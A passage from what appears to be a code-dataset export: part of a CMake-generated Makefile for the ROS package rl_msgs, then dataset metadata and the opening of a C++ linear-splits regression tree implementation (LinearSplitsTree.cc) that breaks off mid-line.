preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip\n\n# Special rule for the target install/strip\ninstall/strip/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip/fast\n\n# Special rule for the target install/local\ninstall/local: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local\n\n# Special rule for the target install/local\ninstall/local/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local/fast\n\n# Special rule for the target install\ninstall: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install\n\n# Special rule for the target install\ninstall/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install/fast\n\n# Special rule for the target list_install_components\nlist_install_components:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Available install components are: \\\"Unspecified\\\"\"\n.PHONY : list_install_components\n\n# Special rule for the target list_install_components\nlist_install_components/fast: list_install_components\n\n.PHONY : list_install_components/fast\n\n# Special rule for the target edit_cache\nedit_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"No interactive CMake dialog available...\"\n\t/usr/bin/cmake -E echo No\\ interactive\\ CMake\\ dialog\\ available.\n.PHONY : edit_cache\n\n# Special rule for the target edit_cache\nedit_cache/fast: edit_cache\n\n.PHONY : edit_cache/fast\n\n# Special rule for the target test\ntest:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running tests...\"\n\t/usr/bin/ctest --force-new-ctest-process $(ARGS)\n.PHONY : test\n\n# Special rule for the target test\ntest/fast: test\n\n.PHONY : test/fast\n\n# Special rule for the target rebuild_cache\nrebuild_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running CMake to regenerate build system...\"\n\t/usr/bin/cmake -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR)\n.PHONY : rebuild_cache\n\n# Special rule for the target rebuild_cache\nrebuild_cache/fast: rebuild_cache\n\n.PHONY : rebuild_cache/fast\n\n# The main all target\nall: cmake_check_build_system\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles /home/justin/ros_test/build/rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/progress.marks\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/all\n\t$(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles 0\n.PHONY : all\n\n# The main clean target\nclean:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/clean\n.PHONY : clean\n\n# The main clean target\nclean/fast: clean\n\n.PHONY : clean/fast\n\n# Prepare targets for installation.\npreinstall: all\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/preinstall\n.PHONY : preinstall\n\n# Prepare targets for installation.\npreinstall/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/preinstall\n.PHONY : preinstall/fast\n\n# clear depends\ndepend:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 1\n.PHONY : depend\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLAction.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLAction.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLAction.dir/rule\n\n# Convenience name for target.\n_rl_msgs_generate_messages_check_deps_RLAction: rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLAction.dir/rule\n\n.PHONY : _rl_msgs_generate_messages_check_deps_RLAction\n\n# fast build rule for target.\n_rl_msgs_generate_messages_check_deps_RLAction/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLAction.dir/build.make rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLAction.dir/build\n.PHONY : _rl_msgs_generate_messages_check_deps_RLAction/fast\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLExperimentInfo.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLExperimentInfo.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLExperimentInfo.dir/rule\n\n# Convenience name for target.\n_rl_msgs_generate_messages_check_deps_RLExperimentInfo: rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLExperimentInfo.dir/rule\n\n.PHONY : _rl_msgs_generate_messages_check_deps_RLExperimentInfo\n\n# fast build rule for target.\n_rl_msgs_generate_messages_check_deps_RLExperimentInfo/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLExperimentInfo.dir/build.make rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLExperimentInfo.dir/build\n.PHONY : _rl_msgs_generate_messages_check_deps_RLExperimentInfo/fast\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLStateReward.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLStateReward.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLStateReward.dir/rule\n\n# Convenience name for target.\n_rl_msgs_generate_messages_check_deps_RLStateReward: rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLStateReward.dir/rule\n\n.PHONY : _rl_msgs_generate_messages_check_deps_RLStateReward\n\n# fast build rule for target.\n_rl_msgs_generate_messages_check_deps_RLStateReward/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLStateReward.dir/build.make rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLStateReward.dir/build\n.PHONY : _rl_msgs_generate_messages_check_deps_RLStateReward/fast\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages.dir/rule\n\n# Convenience name for target.\nrl_msgs_generate_messages: rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages.dir/rule\n\n.PHONY : rl_msgs_generate_messages\n\n# fast build rule for target.\nrl_msgs_generate_messages/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages.dir/build.make rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages.dir/build\n.PHONY : rl_msgs_generate_messages/fast\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLEnvSeedExperience.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLEnvSeedExperience.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLEnvSeedExperience.dir/rule\n\n# Convenience name for target.\n_rl_msgs_generate_messages_check_deps_RLEnvSeedExperience: rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLEnvSeedExperience.dir/rule\n\n.PHONY : _rl_msgs_generate_messages_check_deps_RLEnvSeedExperience\n\n# fast build rule for target.\n_rl_msgs_generate_messages_check_deps_RLEnvSeedExperience/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLEnvSeedExperience.dir/build.make rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLEnvSeedExperience.dir/build\n.PHONY : _rl_msgs_generate_messages_check_deps_RLEnvSeedExperience/fast\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_cpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_cpp.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_cpp.dir/rule\n\n# Convenience name for target.\nrl_msgs_generate_messages_cpp: rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_cpp.dir/rule\n\n.PHONY : rl_msgs_generate_messages_cpp\n\n# fast build rule for target.\nrl_msgs_generate_messages_cpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_cpp.dir/build.make rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_cpp.dir/build\n.PHONY : rl_msgs_generate_messages_cpp/fast\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_eus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_eus.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_eus.dir/rule\n\n# Convenience name for target.\nrl_msgs_generate_messages_eus: rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_eus.dir/rule\n\n.PHONY : rl_msgs_generate_messages_eus\n\n# fast build rule for target.\nrl_msgs_generate_messages_eus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_eus.dir/build.make rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_eus.dir/build\n.PHONY : rl_msgs_generate_messages_eus/fast\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_genpy.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_genpy.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_genpy.dir/rule\n\n# Convenience name for target.\nrl_msgs_genpy: rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_genpy.dir/rule\n\n.PHONY : rl_msgs_genpy\n\n# fast build rule for target.\nrl_msgs_genpy/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_genpy.dir/build.make rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_genpy.dir/build\n.PHONY : rl_msgs_genpy/fast\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_gencpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_gencpp.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_gencpp.dir/rule\n\n# Convenience name for target.\nrl_msgs_gencpp: rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_gencpp.dir/rule\n\n.PHONY : rl_msgs_gencpp\n\n# fast build rule for target.\nrl_msgs_gencpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_gencpp.dir/build.make rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_gencpp.dir/build\n.PHONY : rl_msgs_gencpp/fast\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_geneus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_geneus.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_geneus.dir/rule\n\n# Convenience name for target.\nrl_msgs_geneus: rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_geneus.dir/rule\n\n.PHONY : rl_msgs_geneus\n\n# fast build rule for target.\nrl_msgs_geneus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_geneus.dir/build.make rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_geneus.dir/build\n.PHONY : rl_msgs_geneus/fast\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_py.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_py.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_py.dir/rule\n\n# Convenience name for target.\nrl_msgs_generate_messages_py: rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_py.dir/rule\n\n.PHONY : rl_msgs_generate_messages_py\n\n# fast build rule for target.\nrl_msgs_generate_messages_py/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_py.dir/build.make rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_py.dir/build\n.PHONY : rl_msgs_generate_messages_py/fast\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_lisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_lisp.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_lisp.dir/rule\n\n# Convenience name for target.\nrl_msgs_generate_messages_lisp: rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_lisp.dir/rule\n\n.PHONY : rl_msgs_generate_messages_lisp\n\n# fast build rule for target.\nrl_msgs_generate_messages_lisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_lisp.dir/build.make rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_lisp.dir/build\n.PHONY : rl_msgs_generate_messages_lisp/fast\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLEnvDescription.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLEnvDescription.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLEnvDescription.dir/rule\n\n# Convenience name for target.\n_rl_msgs_generate_messages_check_deps_RLEnvDescription: rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLEnvDescription.dir/rule\n\n.PHONY : _rl_msgs_generate_messages_check_deps_RLEnvDescription\n\n# fast build rule for target.\n_rl_msgs_generate_messages_check_deps_RLEnvDescription/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLEnvDescription.dir/build.make rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/_rl_msgs_generate_messages_check_deps_RLEnvDescription.dir/build\n.PHONY : _rl_msgs_generate_messages_check_deps_RLEnvDescription/fast\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_nodejs.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\nrl_msgs_generate_messages_nodejs: rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_nodejs.dir/rule\n\n.PHONY : rl_msgs_generate_messages_nodejs\n\n# fast build rule for target.\nrl_msgs_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_nodejs.dir/build.make rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_nodejs.dir/build\n.PHONY : rl_msgs_generate_messages_nodejs/fast\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_genlisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_genlisp.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_genlisp.dir/rule\n\n# Convenience name for target.\nrl_msgs_genlisp: rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_genlisp.dir/rule\n\n.PHONY : rl_msgs_genlisp\n\n# fast build rule for target.\nrl_msgs_genlisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_genlisp.dir/build.make rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_genlisp.dir/build\n.PHONY : rl_msgs_genlisp/fast\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_gennodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_gennodejs.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_gennodejs.dir/rule\n\n# Convenience name for target.\nrl_msgs_gennodejs: rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_gennodejs.dir/rule\n\n.PHONY : rl_msgs_gennodejs\n\n# fast build rule for target.\nrl_msgs_gennodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_gennodejs.dir/build.make rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_gennodejs.dir/build\n.PHONY : rl_msgs_gennodejs/fast\n\n# Help Target\nhelp:\n\t@echo \"The following are some of the valid targets for this Makefile:\"\n\t@echo \"... all (the default if no target is provided)\"\n\t@echo \"... clean\"\n\t@echo \"... depend\"\n\t@echo \"... install/strip\"\n\t@echo \"... install/local\"\n\t@echo \"... install\"\n\t@echo \"... list_install_components\"\n\t@echo \"... edit_cache\"\n\t@echo \"... test\"\n\t@echo \"... rebuild_cache\"\n\t@echo \"... _rl_msgs_generate_messages_check_deps_RLAction\"\n\t@echo \"... _rl_msgs_generate_messages_check_deps_RLExperimentInfo\"\n\t@echo \"... _rl_msgs_generate_messages_check_deps_RLStateReward\"\n\t@echo \"... rl_msgs_generate_messages\"\n\t@echo \"... _rl_msgs_generate_messages_check_deps_RLEnvSeedExperience\"\n\t@echo \"... rl_msgs_generate_messages_cpp\"\n\t@echo \"... rl_msgs_generate_messages_eus\"\n\t@echo \"... rl_msgs_genpy\"\n\t@echo \"... rl_msgs_gencpp\"\n\t@echo \"... rl_msgs_geneus\"\n\t@echo \"... rl_msgs_generate_messages_py\"\n\t@echo \"... rl_msgs_generate_messages_lisp\"\n\t@echo \"... _rl_msgs_generate_messages_check_deps_RLEnvDescription\"\n\t@echo \"... rl_msgs_generate_messages_nodejs\"\n\t@echo \"... rl_msgs_genlisp\"\n\t@echo \"... rl_msgs_gennodejs\"\n.PHONY : help\n\n\n\n#=============================================================================\n# Special targets to cleanup operation of make.\n\n# Special rule to run CMake to check the build system integrity.\n# No rule that depends on this can have commands that come from listfiles\n# because they might be regenerated.\ncmake_check_build_system:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 0\n.PHONY : cmake_check_build_system\n\n" }, { "alpha_fraction": 0.5431063771247864, "alphanum_fraction": 0.5507646799087524, "avg_line_length": 27.5848445892334, "blob_id": "1009eca8749bb61d9b6b09eb741611195a8246b6", "content_id": "7654504738dadf367eca00237533819604770fcf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 44135, "license_type": "no_license", "max_line_length": 132, "num_lines": 1544, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/LinearSplitsTree.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include \"LinearSplitsTree.hh\"\n\n// LinearSplitsTree, from the following sources:\n\n// Include stuff for newmat matrix libraries\n\n#define WANT_MATH // include.h will get math fns\n // newmatap.h will get include.h\n#include \"../newmat/newmatap.h\" // need matrix applications\n#ifdef use_namespace\nusing namespace NEWMAT; // access NEWMAT namespace\n#endif\n\n// TODO:\n// - save regression from split testing rather than re-building it later\n\n\nLinearSplitsTree::LinearSplitsTree(int id, int trainMode, int trainFreq, int m,\n float featPct, bool simple, float min_er,\n Random rng):\n id(id), mode(trainMode), \n freq(trainFreq), M(m),\n featPct(featPct), SIMPLE(simple), \n MIN_ER(min_er), rng(rng)\n{\n\n nnodes = 0;\n nOutput = 0;\n nExperiences = 0;\n hadError = false;\n maxnodes = N_LS_NODES;\n totalnodes = 0;\n\n // how close a split has to be to be randomly selected\n SPLIT_MARGIN = 0.0; //0.02; //5; //01; //0.05; //0.2; //0.05;\n\n LMDEBUG = false;// true;\n DTDEBUG = false;//true;\n SPLITDEBUG = false; //true;\n STOCH_DEBUG = false; //true; //false; //true;\n INCDEBUG = false; //true; //false; //true;\n NODEDEBUG = false;\n COPYDEBUG = false; //true;\n\n cout << \"Created linear splits decision tree \" << id;\n if (SIMPLE) cout << \" simple regression\";\n else cout << \" multivariate regrssion\";\n if (DTDEBUG){\n cout << \" mode: \" << mode << \" freq: \" << freq << endl;\n }\n cout << \" MIN_ER: \" << MIN_ER << endl;\n\n\n initNodes();\n initTree();\n\n}\n\nLinearSplitsTree::LinearSplitsTree(const LinearSplitsTree& ls):\n id(ls.id), mode(ls.mode), \n freq(ls.freq), M(ls.M),\n featPct(ls.featPct), SIMPLE(ls.SIMPLE), \n MIN_ER(ls.MIN_ER), rng(ls.rng)\n{\n COPYDEBUG = ls.COPYDEBUG;\n if (COPYDEBUG) cout << \"LS copy \" << id << endl;\n nnodes = 0;\n nOutput = ls.nOutput;\n nExperiences = ls.nExperiences;\n hadError = ls.hadError;\n totalnodes = 0;\n maxnodes = ls.maxnodes;\n SPLIT_MARGIN = ls.SPLIT_MARGIN; \n LMDEBUG = ls.LMDEBUG;\n DTDEBUG = ls.DTDEBUG;\n SPLITDEBUG = ls.SPLITDEBUG;\n STOCH_DEBUG = ls.STOCH_DEBUG; \n INCDEBUG = ls.INCDEBUG; \n NODEDEBUG = ls.NODEDEBUG;\n\n if (COPYDEBUG) cout << \" LS copy nodes, experiences, root, etc\" << endl;\n // copy all experiences\n for (int i = 0; i < N_LST_EXP; i++){\n allExp[i] = ls.allExp[i];\n }\n if (COPYDEBUG) cout << \" LS copied exp array\" << endl;\n\n // set experience pointers\n experiences.resize(ls.experiences.size());\n for (unsigned i = 0; i < ls.experiences.size(); i++){\n experiences[i] = &(allExp[i]);\n }\n if (COPYDEBUG) cout << \" LS set experience pointers\" << endl;\n\n // now the tricky part, set the pointers inside the tree nodes correctly\n initNodes();\n\n if (COPYDEBUG) cout << \" LS copy tree \" << endl;\n root = allocateNode();\n lastNode = root;\n copyTree(root, ls.root);\n if (COPYDEBUG) cout << \" LS tree copy done\" << endl;\n \n if (COPYDEBUG) {\n cout << endl << \"New tree: \" << endl;\n printTree(root, 0);\n cout << endl;\n cout << \" LS copy done\" << endl;\n }\n\n}\n\nvoid LinearSplitsTree::copyTree(tree_node* newNode, tree_node* origNode){\n\n int nodeId = newNode->id;\n\n if (COPYDEBUG) {\n cout << \" Copy node \" << newNode->id << \" from node \" << origNode->id << endl;\n cout << \" NewAddy \" << newNode << \", old: \" << origNode << endl;\n }\n\n // copy node from t\n *newNode = *origNode;\n newNode->id = nodeId;\n\n // if it has children, allocate and copy them too\n if (origNode->l != NULL && !newNode->leaf){\n newNode->l = allocateNode();\n if (COPYDEBUG) cout << \" Copy left node \" << newNode->l->id << \" from \" << origNode->l->id << endl;\n copyTree(newNode->l, origNode->l);\n } else {\n newNode->l = NULL;\n }\n\n if (origNode->r != NULL && !newNode->leaf){\n newNode->r = allocateNode();\n if (COPYDEBUG) cout << \" Copy right node \" << newNode->r->id << \" from \" << origNode->r->id << endl;\n copyTree(newNode->r, origNode->r);\n } else {\n newNode->r = NULL;\n }\n}\n\nLinearSplitsTree* LinearSplitsTree::getCopy(){\n LinearSplitsTree* copy = new LinearSplitsTree(*this);\n return copy;\n}\n\nLinearSplitsTree::~LinearSplitsTree() {\n deleteTree(root);\n for (unsigned i = N_LST_EXP; i < experiences.size(); i++){\n delete experiences[i];\n }\n experiences.clear();\n}\n\n// here the target output will be a single value\nbool LinearSplitsTree::trainInstance(classPair &instance){\n\n if (DTDEBUG) cout << id << \" trainInstance\" << endl;\n\n bool modelChanged = false;\n\n // simply add this instance to the set of experiences\n\n // take from static array until we run out\n tree_experience *e;\n if (nExperiences < N_LST_EXP){\n // from statically created set of experiences\n e = &(allExp[nExperiences]);\n\n } else {\n // dynamically create experience\n e = new tree_experience;\n }\n\n\n e->input = instance.in;\n e->output = instance.out;\n experiences.push_back(e);\n nExperiences++;\n\n if (nExperiences == 1000000){\n cout << \"Reached limit of # experiences allowed.\" << endl;\n return false;\n }\n\n if (nExperiences != (int)experiences.size())\n cout << \"ERROR: experience size mismatch: \" << nExperiences << \", \" << experiences.size() << endl;\n\n //cout << nExperiences << endl << flush;\n //if (nExperiences == 503 